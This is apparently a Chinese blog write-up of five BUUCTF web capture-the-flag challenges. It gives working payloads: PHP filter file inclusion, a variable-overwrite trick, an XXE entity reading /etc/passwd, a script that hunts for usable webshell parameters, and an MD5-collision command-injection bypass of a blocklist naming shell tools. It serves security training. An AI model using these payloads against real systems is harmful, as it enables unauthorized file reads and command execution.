BUUCTF 个人做题记录【6-24】

8 篇文章 0 订阅
6 篇文章 0 订阅
本文详细介绍了五个不同类型的网络安全挑战,涉及PHP注入、文件包含漏洞、XML实体注入和代码执行。通过源码分析、HTTP请求修改及利用payload设计,揭示了解决这些问题的关键步骤和技巧。同时,展示了如何利用多线程脚本寻找一句话木马,并给出了绕过限制的payload实例。
摘要由CSDN通过智能技术生成

目录

1.[BSidesCF 2020]Had a bad day 1

2.[BJDCTF2020]Mark loves cat 1

3.[NCTF2019]Fake XML cookbook 1

4.[强网杯 2019]高明的黑客 1

5.[安洵杯 2019]easy_web 1


1.[BSidesCF 2020]Had a bad day 1

 在源码中没有找到有用的信息,我们点击对应的动物名就会地址栏就的category参数就会跟着变化,猜测这是一个注入点

 试着改变参数的值

 看看用php伪协议能不能读取

从报错信息可以看到,我们的index.php后面多加了个.php,我们把.php后缀删掉

读取成功,这里请自行解码,不过内容很长,解码之后会看到一段php代码,

这是关键,只贴这部分 

 可以看到这里有文件包含,条件是category参数中必须包含woofers或者meowers,还是用php伪协议读取,解释是:

php://filter/read=convert.base64-encode/woofers/resource=flag
这里伪协议的协议中都指定了特定的协议键,识别到woofers时不认识会忽略掉,但这道题却能够绕过strpos函数

 解码即可

2.[BJDCTF2020]Mark loves cat 1

源码很长,关键是没有找到有价值的信息,漏洞点在contact me

 和上一题思路类似,修改message的参数值,用php伪协议读取

 结果是没有回显信息,就是看不到代码的执行结果,那就扫目录

dirsearch,时间比较长

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){    
    $$x = $y  ;  //post 声明至当前文件
}

foreach($_GET as $x => $y){    
    $$x = $$y;  //GET型变量重新赋值为当前文件变量中以其值为键名的值
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  //传入的变量为flag   value不是flag
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){  
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){   
    exit($is);
}



echo "the flag is: ".$flag;
}

三个exit函数,作用是输出一条消息后退出程序,我们只要满足其中的一个就可以输出想要的flag,具体请看:

有两种传参方式,这里我用的是GET方式,但不论哪种方式,都会经过一个处理函数

foreach($_GET as $x => $y){    
   $$x = $$y;  //GET型变量重新赋值为当前文件变量中以其值>为键名的值
}

这是GET,POST方式的处理代码是一样的

什么意思,解释:比如我们传入?a=b,

那么$x=a,$y=b;

$$x=$a,$$y=$b;

$$x=$$y=>$a=$b,后面经过exit函数输出变量的值,在源码的最后我们可以看到,$flag的值就是flag,因此我们想办法输出它,从源码可以知道,exit输出的变量只有三个$handsome,$yds,$is,只要把其中一个赋值伪$flag即可,我选择最简单的$yds

payload很简单:yds=flag

分析一下为什么:

$x=yds,$y=flag;;

$$x=$yds,$$y=$flag;

$$x=$$y=>$yds=$flag;

exit($yds)<=>exit($flag)

前面说了,$flag的值就是flag,那么这题就解决了

3.[NCTF2019]Fake XML cookbook 1

抓包发现是GET方式传参

很熟悉的界面 ,但这题不是sql注入,为什么?题目的名字说了是xml漏洞

,抓包分析 

xml实体注入漏洞,具体参考:

XML 外部实体注入漏洞_泽娃哦的博客-CSDN博客_xml外部实体注入漏洞怎么修复

现成的代码框架:

<?xml version="1.0"?>
 
<!DOCTYPE a[
 
    <!ENTITY b SYSTEM "file:///etc/passwd">
 
]>
 
<a>&b;</a>

把file:///etc/passwd改为file:///flag

注意&符号和参数b,对应到题目就是我们的username

file文件读取协议就不介绍了,flag一般就在根目录下,这题就是

4.[强网杯 2019]高明的黑客 1

直接访问备份目录下载 文件

 下载后打开就是

随便打开一个就是

 满屏的木马,但大多都不可用,我们要找的是可以用的一句话木马,这么多文件,一个一个手动找是不可能的。写脚本吧,自己又不会,py了,大佬勿喷:

[强网杯 2019]高明的黑客(考察代码编写能力)_HyyMbb的博客-CSDN博客

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  			#这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()												
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}														#所有的$_POST
    params = {}														#所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:									#如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()												# 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

 

5.[安洵杯 2019]easy_web 1

 img的那串base64编码,两次base64解码得到16进制编码,再转换就是555.png,555.png经过base64编码后出现在源码中

反过来,我们把index.php转换为16进制,在base64编码两次,再赋值给img,那么就可以得到 

base64编码,再解码就是源码

?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

 

 把源码里的base64编码解码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
 
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}
 
?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

 POST 方式传入两个参数a和b

对条件md5($_POST['a']) === md5($_POST['b'])的绕过可以用数组等

对条件(string)$_POST['a'] !== (string)$_POST['b']要求a,b必须是字符串,

这里直接上payload:

$a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&$b = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

同时对cmd参数的值进行了严格的过滤,ls 用 l\s 代替,空格用%20代替,cat=?ca\t,flag=>fl\ag,

\可以绕过正则匹配

最后我说一下,imag的那串base64编码在我们传参的时候可以不要,它把内容的16进制 经过两次base64编码后得到的,源码中可以看到,会把imag的内容给逆向的解析出来再对所得内容进行base64编码,再显示在源码里。不过img并不会影响cmd传参,为了回显内容的简介,可以不要!

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值